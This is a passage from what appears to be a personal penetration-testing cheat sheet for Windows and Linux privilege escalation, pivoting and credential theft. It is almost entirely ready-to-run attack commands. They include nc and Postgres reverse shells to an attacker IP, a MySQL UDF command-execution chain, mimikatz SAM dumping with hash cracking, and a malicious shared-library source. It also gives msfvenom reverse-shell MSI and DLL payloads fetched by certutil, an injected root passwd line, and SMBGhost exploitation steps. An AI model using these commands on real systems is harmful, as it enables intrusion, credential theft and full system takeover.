  - a: **reg query HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft\Windows\Installer**
  - b: **reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated**
  - c: **reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated**
- 19: **Potato** exploits

## Auxiliary:

- 1: **.\winpeasany.exe log**
- 2: **Sherlock.ps1**
  - a: **powershell.exe -nop -exec bypass**
  - b: **Import-Module sherlock.ps1**
  - c: **Find-AllVulns | Out-File-Encoding ASCII check.txt**
- 3: **PowerUp.ps1**

a: powershell.exe -nop -exec bypass  
b: Import-Module PowerUp.ps1  
c: Invoke-AllChecks | Out-File-Encoding ASCII checks.txt

# Pivot

2021年8月2日 22:26

## 1: sshuttle

sshuttle -r victim@10.10.10.10 10.10.10.1/24

## 2: Proxychains

a: gedit /etc/proxychains4.conf

b: socks4 127.0.0.1 9050

c: comment out proxy\_dns

d: Only use **TCP**

e: **-Pn** added to **nmap command**

f: proxychains nmap 10.10.10.10 80

# Extract Credential

2021年8月2日 22:28

## 1: shadow and passwd

unshadow passwd shadow

john --wordlist=rockyou.txt --format=sha512crypt unshadowed.txt

## 2: SAM

a: .\mimikatz.exe

b: privilege::debug

c: token::elevate

d: lsadump::sam

e: john --wordlist=rockyou.txt hash.txt --format=NT



# Firewall

2021年8月2日 22:28

## Linux:

- 1: iptables -L
- 2: cat /etc/ufw/user.rules

## Windows:

- 1: netsh advfirewall show currentprofile
- 2: netsh advfirewall firewall show rule name=all

# Linux

2021年8月27日 20:31

## Foothold or PE

### 1: MySQL UDF

a: Download **compiled module** (<https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql>)

b: **create table zys(line blob);**

c: **insert into zys values(load\_file('tmp/sqlpe.so'));**

d: **select \* from zys into dumpfile '/usr/lib/mysql/plugin/sqlpe.so';**

e: **create function sys\_exec returns integer soname 'sqlpe.so';**

f: **select sys\_exec('nc -nv 10.10.10.10 20 -e /bin/bash');**

### 2: Redis RCE

exp 1: In **redis cli**, execute: **LOAD MODULE /var/ftp/pub/module.so**  
(<https://github.com/n0b0dyCN/RedisModules-ExecuteCommand>)

exp 2: **python redisrce.py -r 10.10.10.10 -p 6379 -L 10.10.10.20 -P 6379 -f shell.so** (<https://github.com/Ridter/redis-rce>)

### 3: Erlang RCE

a: Find **.erlang.cookie** file

b: Download exploit from <https://www.exploit-db.com/exploits/49418>

c: **Edit** the exploit

d: **python3 exp.py**

### 4: Postgres RCE

a: Switch to database app: **\c app**

b: **drop table if exists cmd\_exec;**

c: **create table cmd\_exec(cmd\_output text);**

d: Set up a netcat listener, execute **COPY cmd\_exec FROM PROGRAM 'nc 10.10.10.10 4444 -e /bin/bash';**

### 5: Docker breakout

#### Root privilege in docker environment

a: **fdisk -l**

b: **mkdir -p /mnt/pwn**

c: **mount /dev/sda1 /mnt/pwn**

d: **cd /mnt/pwn/root**

e: **chroot /mnt/pwn**

#### Normal user in docker environment

Find more info within the environment

## PE only

### 1: ld.so

- a: Find the binary file which misses a library
- b: **ldd binary\_file**, find the missing library: **missed.so**
- c: Check file **/etc/ld.so.conf** and directory **/etc/ld.so.conf.d**
- d: Check the config file **vital.conf** in **/etc/ld.so.conf.d** and where it points to
- e: Check the path **vital.conf** points to, if the library is missing, create a

malicious one

- f: **strings binary\_file**, find the **possible function**, create a **source code file**

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void vital()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
```

- g: Compile source code to abc.so: **gcc exp.c -o missed.so -shared -Wall -**

**fPIC -w**

- h: Execute the binary file

### 2: Socket Command Injection

- a: **netstat -ano | grep socket.s**
- b: **echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket.s**
- c: **/tmp/bash -p**

### 3: dosbox (SUID)

a: Use **vncviewer** or **SSH** with **-X flag (X11Forwarding)** to log in target machine

- b: Execute **dosbox**
- c: In dosbox GUI, **mount C /etc**
- d: **C:**
- e: **echo hack:\$1\$hack**

**\$R78Vb02JSSxv5kQZvNiPU.:0:0:root:/root:/bin/bash >> passwd**

- f: In shell, **su hack** with password **123123**

# Windows

2021年8月27日 20:31

## Foothold or PE

### 1: MSSQL xp\_cmd

- a: `python mssqlclient.py -p 1435 sa:123123@10.10.10.10`
- b: `sp_configure 'show advanced options', '1'`
- c: `RECONFIGURE`
- d: `sp_configure 'xp_cmdshell', '1'`
- e: `RECONFIGURE`
- f: `xp_cmdshell cd C:/Users && dir`
- g: `xp_cmdshell reg query HKLM /f pass /t REG_SZ /s`

## PE only

**1: Potato Suite:** Juicy Potato, Rotten Potato, Rouge Potato, Lonely Potato, Hot Potato

If **Impersonating Privileges** is enabled, pay attention to **Potato exploits**, especially current user is a **service account**

### 2: PrintSpoofer

From LOCAL/NETWORK SERVICE to SYSTEM by abusing

**SelImpersonatePrivilege** on **Windows 10** and Server 2016/2019.

Exp: <https://github.com/itm4n/PrintSpoofer>

Command: `PrintSpoofer.exe -i -c cmd`

### 3: AlwaysInstallElevated

- a: If **AlwaysInstalledElevated** is on
- b: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f msi > exp.msi`
- c: `certutil -urlcache -split -f http://10.10.10.20/exp.msi exp.msi`
- d: Set up a netcat listener, execute `.\exp.msi`

### 4: SMBGhost

a: According to **Kernel version** and **hotfixes list**, infer if target is vulnerable to **SMBGhost vulnerability**

- b: `netstat -ano`, if **445** is open
- c: Download the exploit from <https://github.com/tango-j/CVE-2020-0796>
- d: Generate shellcode: `msfvenom -p windows/x64/shell_reverse_tcp`

`LHOST=10.10.10.20 LPORT=5555 -f dll -f csharp`, and replace the part from line **204** of the exploit

- e: Use **Visual Studio** to **compile**, transfer it to target
- f: Execute it

## 5: IKEEXT DLL Hijacking

a: **sc query IKEEXT**

b: **PATH**, check is **any path** in environment variable **writable**

c: Generate a **dll payload**, copy it to the **writable path**

d: **shutdown -r -t 1 &&exit**

e: Set up netcat listener again